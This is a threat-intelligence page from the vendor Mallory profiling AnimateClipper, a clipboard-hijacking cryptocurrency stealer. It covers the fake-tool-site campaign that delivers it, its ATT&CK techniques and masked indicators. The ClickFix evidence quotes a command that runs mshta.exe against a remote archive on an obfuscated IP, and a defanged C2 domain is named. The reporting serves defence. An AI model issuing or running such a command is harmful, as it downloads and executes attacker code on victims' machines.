Skip to main content
Mallory
Back to malware
Malware

AnimateClipper

AnimateClipper is a cryptocurrency clipper malware family that silently monitors the clipboard and replaces copied cryptocurrency wallet addresses with attacker-controlled addresses, enabling transaction hijacking across more than 20 blockchain ecosystems. Check Point Research identified it as one of the payloads delivered in a large-scale campaign using more than 100 fake websites impersonating trusted open-source and security tools such as Ghidra, dnSpy, SpiderFoot, and ILSpy. In that campaign, CloudFront-hosted JavaScript intercepted download clicks and routed victims through a gated Traffic Distribution System that filtered by factors including geography, browser, VPN/datacenter use, and likely researcher activity before delivering malware. AnimateClipper was specifically observed being delivered through a ClickFix-style lure that directed victims to run mshta.exe against a remote archive; the infection chain used obfuscated VBScript, PowerShell, a bundled Python environment, and in-memory shellcode execution before loading the final PE payload. The malware embeds attacker wallet addresses in the binary and swaps matching clipboard wallet strings without obvious user awareness. Check Point also reported that AnimateClipper resolved command-and-control by querying a smart contract via the BNB Smart Chain Testnet JSON-RPC endpoint; at the time of analysis, the contract response resolved to kr.hugo-lapp[.]co. Researchers observed inbound transactions to wallet addresses embedded in the sample dating back to 2025-07-12, indicating the operation had likely been active for an extended period.

Share:
For your environment

Hunt this family in your stack

Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.

MITRE ATT&CK

Techniques & procedures

16 distinct techniques documented for this family, organized by ATT&CK tactic.

Reconnaissance

1 technique
T1598.003Spearphishing LinkEvidence1

Attack chains specifically target users looking for such tools on search engines like Google, causing the bogus sites to be surfaced on top of the search results.

Initial Access

2 techniques
T1189Drive-by CompromiseEvidence3

The JavaScript loaded by these pages listens for the user’s first interaction and intercepts it before normal navigation can proceed. On Chrome it captures a mousedown event; on Firefox it uses a click event. It then generates a TDS runtime URL, redirects the user silently, and cancels the original navigation entirely.

T1566PhishingEvidence2

Hackers are creating convincing fake websites that impersonate popular security tools to trick users into downloading malware.

Execution

4 techniques
T1059.001PowerShellEvidence1
TacticExecution

Despite the .rtf extension, this resource is a heavily obfuscated PowerShell script. After deobfuscation, we found that it reconstructs an additional PowerShell stage in memory and uses an RC4-based routine to decrypt the next payload.

T1059.005Visual BasicEvidence1
TacticExecution

Its beginning contains an HTA page with obfuscated VBScript, which mshta.exe executes.

T1059.006PythonEvidence1
TacticExecution

This file ... is a ZIP archive containing a bundled Python environment ... and a large heavily obfuscated Python script stored in node_modules.asar ... the actual Python-based launch stage that executes shellcode and hands off execution to the next payload

T1204User ExecutionEvidence1
TacticExecution

The page that imitates a Cloudflare verification screen and instructs the user to run: C:\Windows\SysWOW64\mshta.exe https://185.0xA1.0xFB[.]58/navy.7z

Persistence

1 technique
T1205Traffic SignalingEvidence1

These pages load a CloudFront-hosted JavaScript staging layer that converts a click on a “download” button/link into a handoff to a Traffic Distribution System (TDS). The TDS enforces strict gating: first-visit state, mandatory click confirmation, anti-bot/anti-analysis logic, VPN/datacenter filtering, and frequency capping.

T1055Process InjectionEvidence1

The obfuscated script embeds a large shellcode blob directly in its body and launches it from memory. It copies the shellcode into a buffer, changes the memory protection to executable, and transfers execution to it via ntdll!LdrCallEnclave.

Stealth

6 techniques
T1027Obfuscated Files or InformationEvidence1
TacticStealth

SessionGate — A previously unknown multi-stage loader with heavy obfuscation and extensive anti-analysis mechanisms... Because of the obfuscation techniques in use, including injected junk code, opaque predicates, and string encryption, the resulting functions become extremely bloated.

T1036MasqueradingEvidence2
TacticStealth

Cybersecurity researchers have flagged a large-scale operation that impersonates open-source and freeware projects to funnel unsuspecting users through a Traffic Distribution System (TDS) and deliver malware families like Remus Stealer, AnimateClipper, and the SessionGate framework.

T1055Process InjectionEvidence1

The obfuscated script embeds a large shellcode blob directly in its body and launches it from memory. It copies the shellcode into a buffer, changes the memory protection to executable, and transfers execution to it via ntdll!LdrCallEnclave.

T1205Traffic SignalingEvidence1

These pages load a CloudFront-hosted JavaScript staging layer that converts a click on a “download” button/link into a handoff to a Traffic Distribution System (TDS). The TDS enforces strict gating: first-visit state, mandatory click confirmation, anti-bot/anti-analysis logic, VPN/datacenter filtering, and frequency capping.

T1218.005MshtaEvidence1
TacticStealth

mshta.exe is a built-in Windows utility intended to run HTML Applications (HTA). It is often abused by threat actors because it can execute script-based content directly from a remote URL using a system binary already present on the machine.

T1620Reflective Code LoadingEvidence1
TacticStealth

The modules are not written to disk: they are loaded via in-memory PE manual mapping (often referred to as reflective / manual-map loading), and execution is transferred through exported functions.

Collection

1 technique
T1115Clipboard DataEvidence3

AnimateClipper silently monitors the clipboard and swaps copied wallet addresses with attacker-controlled ones, potentially redirecting real funds without the victim ever realizing it.

T1071.001Web ProtocolsEvidence1

The stealer polls the C2 using HTTP POST requests ... The malware uses HTTPS to communicate with the resolved C2 server. In the analyzed build, the observed logic includes periodic refresh check-ins

T1105Ingress Tool TransferEvidence1

These pages load a CloudFront-hosted JavaScript staging layer that converts a click on a 'download' button/link into a handoff to a Traffic Distribution System (TDS). The TDS enforces strict gating: first-visit state, mandatory click confirmation, anti-bot/anti-analysis logic, VPN/datacenter filtering, and frequency capping.

T1205Traffic SignalingEvidence1

These pages load a CloudFront-hosted JavaScript staging layer that converts a click on a “download” button/link into a handoff to a Traffic Distribution System (TDS). The TDS enforces strict gating: first-visit state, mandatory click confirmation, anti-bot/anti-analysis logic, VPN/datacenter filtering, and frequency capping.

INDICATORS OF COMPROMISE

IOCs tracked for this family

30 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.

View more in app
Network
24 tracked

IPs, domains, and DNS infrastructure linked to this family.

Hashes
4 tracked

File hashes (MD5, SHA-1, SHA-256) from samples and reports.

Other
2 tracked

Other indicator types observed in public reporting.

TypeValueLatest sighting
ip.v4●●●●●●●●●●●●View more in apptoday
domain●●●●●●●●●●●●View more in apptoday
domain●●●●●●●●●●●●View more in apptoday
domain●●●●●●●●●●●●View more in apptoday
domain●●●●●●●●●●●●View more in apptoday
domain●●●●●●●●●●●●View more in apptoday
What this page doesn’t show

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.
IOC matching30

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping16

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.